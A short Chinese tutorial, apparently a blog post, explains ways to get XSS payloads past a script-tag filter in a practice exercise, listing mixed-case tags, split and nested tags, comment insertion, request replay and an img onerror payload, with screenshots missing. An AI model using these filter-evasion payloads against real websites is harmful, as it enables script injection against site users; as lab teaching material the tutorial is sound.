xss绕过思路讲解和案例演示

（注：例子1 为URL编码）

在xss之过滤中输入< script>’";666666(注：应该没有空格 写文章 不加空格 出不来)
得到
右键 查看源代码 ctrl+f 搜索666666
得到
可以看出后台进行了对script得过滤
根据
1 . 前端限制绕过，直接抓包重放，或者修改html前端代码
2.大小写，比如：< SCRIPT>aLeRT(111)</ sCRIpt> alert 应该小写
3.拼凑：<scri< script>pt>alert(111)</scri</ script>pt>
4.使用注释进行干扰：<scri< !–test–>pt>alert(111)</sc< !–test–>ript>
5.< img src =x οnerrοr=“alert(‘xss’)”/> 可以把alert(‘xss’)进行html编码 注意不是URL
(注：应该没有空格 写文章 不加空格 出不来)
输入
< SCRIPT>alert(111)</ sCRIpt>
得到
其他同理